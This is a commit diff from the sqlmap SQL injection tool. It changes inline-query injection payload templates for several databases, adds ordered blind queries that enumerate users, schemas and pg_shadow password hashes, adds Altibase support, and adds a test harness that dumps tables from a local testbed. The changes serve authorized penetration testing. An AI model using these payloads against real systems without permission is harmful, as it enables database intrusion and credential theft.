Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 6467c63

Browse files
committed
Patch for couple of bugs found during bed-testing
1 parent f19f38d commit 6467c63

10 files changed

Lines changed: 116 additions & 20 deletions

File tree

data/xml/payloads/inline_query.xml

Lines changed: 23 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -3,19 +3,31 @@
33
<root>
44
<!-- Inline queries tests -->
55
<test>
6-
<title>MySQL inline queries</title>
6+
<title>Generic inline queries</title>
77
<stype>3</stype>
88
<level>1</level>
99
<risk>1</risk>
1010
<clause>1,2,3,8</clause>
1111
<where>3</where>
12+
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
13+
<request>
14+
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
15+
</request>
16+
<response>
17+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
18+
</response>
19+
</test>
20+
21+
<test>
22+
<title>MySQL inline queries</title>
23+
<stype>3</stype>
24+
<level>2</level>
25+
<risk>1</risk>
26+
<clause>1,2,3,8</clause>
27+
<where>3</where>
1228
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
1329
<request>
14-
<!-- These work as good as ELT(), but are longer
15-
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
16-
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
17-
-->
18-
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
30+
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
1931
</request>
2032
<response>
2133
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
2840
<test>
2941
<title>PostgreSQL inline queries</title>
3042
<stype>3</stype>
31-
<level>1</level>
43+
<level>2</level>
3244
<risk>1</risk>
3345
<clause>1,2,3,8</clause>
3446
<where>3</where>
@@ -47,13 +59,13 @@
4759
<test>
4860
<title>Microsoft SQL Server/Sybase inline queries</title>
4961
<stype>3</stype>
50-
<level>1</level>
62+
<level>2</level>
5163
<risk>1</risk>
5264
<clause>1,2,3,8</clause>
5365
<where>3</where>
5466
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
5567
<request>
56-
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
68+
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
5769
</request>
5870
<response>
5971
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -75,7 +87,7 @@
7587
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
7688
<request>
7789
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
78-
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
90+
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
7991
</request>
8092
<response>
8193
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -94,7 +106,7 @@
94106
<where>3</where>
95107
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
96108
<request>
97-
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
109+
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
98110
</request>
99111
<response>
100112
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

data/xml/queries.xml

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -106,7 +106,7 @@
106106
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
107107
<users>
108108
<inband query="SELECT usename FROM pg_user"/>
109-
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
109+
<blind query="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
110110
</users>
111111
<passwords>
112112
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
@@ -123,23 +123,23 @@
123123
</statements>
124124
<dbs>
125125
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
126-
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
126+
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
127127
</dbs>
128128
<tables>
129129
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
130-
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
130+
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
131131
</tables>
132132
<columns>
133133
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
134-
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
134+
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
135135
</columns>
136136
<dump_table>
137137
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
138138
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
139139
</dump_table>
140140
<search_db>
141-
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
142-
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
141+
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
142+
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" condition="schemaname"/>
143143
</search_db>
144144
<search_table>
145145
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>

lib/core/agent.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -450,7 +450,7 @@ def nullAndCastField(self, field):
450450

451451
nulledCastedField = field
452452

453-
if field:
453+
if field and Backend.getIdentifiedDbms():
454454
rootQuery = queries[Backend.getIdentifiedDbms()]
455455

456456
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:

lib/core/dicts.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -117,6 +117,30 @@
117117
20: "image",
118118
}
119119

120+
ALTIBASE_TYPES = {
121+
1: "CHAR",
122+
12: "VARCHAR",
123+
-8: "NCHAR",
124+
-9: "NVARCHAR",
125+
2: "NUMERIC",
126+
2: "DECIMAL",
127+
6: "FLOAT",
128+
6: "NUMBER",
129+
8: "DOUBLE",
130+
7: "REAL",
131+
-5: "BIGINT",
132+
4: "INTEGER",
133+
5: "SMALLINT",
134+
9: "DATE",
135+
30: "BLOB",
136+
40: "CLOB",
137+
20001: "BYTE",
138+
20002: "NIBBLE",
139+
-7: "BIT",
140+
-100: "VARBIT",
141+
10003: "GEOMETRY",
142+
}
143+
120144
MYSQL_PRIVS = {
121145
1: "select_priv",
122146
2: "insert_priv",

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.2.23"
21+
VERSION = "1.4.2.24"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/core/testing.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -137,6 +137,51 @@ def _thread():
137137

138138
return retVal
139139

140+
def bedTest():
141+
"""
142+
Runs the testing against 'testbed'
143+
"""
144+
145+
TESTS = (
146+
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
147+
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
148+
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
149+
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
150+
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
151+
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
152+
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
153+
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
154+
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
155+
)
156+
157+
retVal = True
158+
count = 0
159+
160+
for options, checks in TESTS:
161+
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
162+
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
163+
164+
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
165+
output = shellExec(cmd)
166+
167+
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
168+
for check in checks:
169+
if check not in output:
170+
print(cmd, check)
171+
dataToStdout("---\n\n$ %s\n" % cmd)
172+
dataToStdout("%s---\n" % clearColors(output))
173+
retVal = False
174+
175+
count += 1
176+
177+
clearConsoleLine()
178+
if retVal:
179+
logger.info("bed test final result: PASSED")
180+
else:
181+
logger.error("best test final result: FAILED")
182+
183+
return retVal
184+
140185
def fuzzTest():
141186
count = 0
142187
address, port = "127.0.0.10", random.randint(1025, 65535)

lib/parse/cmdline.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -794,6 +794,9 @@ def cmdLineParser(argv=None):
794794
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
795795
help=SUPPRESS)
796796

797+
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
798+
help=SUPPRESS)
799+
797800
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
798801
help=SUPPRESS)
799802

@@ -1005,7 +1008,7 @@ def _format_action_invocation(self, action):
10051008
if args.dummy:
10061009
args.url = args.url or DUMMY_URL
10071010

1008-
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
1011+
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
10091012
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
10101013
errMsg += "Use -h for basic and -hh for advanced help\n"
10111014
parser.error(errMsg)

lib/request/inject.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -412,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
412412
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
413413
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
414414

415+
if expected == EXPECTED.BOOL:
416+
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
417+
418+
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
419+
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
420+
415421
try:
416422
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
417423
except SqlmapConnectionException:

plugins/generic/databases.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@
3737
from lib.core.data import paths
3838
from lib.core.data import queries
3939
from lib.core.decorators import stackedmethod
40+
from lib.core.dicts import ALTIBASE_TYPES
4041
from lib.core.dicts import FIREBIRD_TYPES
4142
from lib.core.dicts import INFORMIX_TYPES
4243
from lib.core.enums import CHARSET_TYPE
@@ -702,6 +703,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
702703
key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1]
703704
if Backend.isDbms(DBMS.FIREBIRD):
704705
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
706+
elif Backend.isDbms(DBMS.ALTIBASE):
707+
columnData[1] = ALTIBASE_TYPES.get(key, columnData[1])
705708
elif Backend.isDbms(DBMS.INFORMIX):
706709
notNull = False
707710
if isinstance(key, int) and key > 255:

sqlmap.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -173,6 +173,9 @@ def main():
173173
elif conf.vulnTest:
174174
from lib.core.testing import vulnTest
175175
os._exitcode = 1 - (vulnTest() or 0)
176+
elif conf.bedTest:
177+
from lib.core.testing import bedTest
178+
os._exitcode = 1 - (bedTest() or 0)
176179
elif conf.fuzzTest:
177180
from lib.core.testing import fuzzTest
178181
fuzzTest()

0 commit comments

Comments
 (0)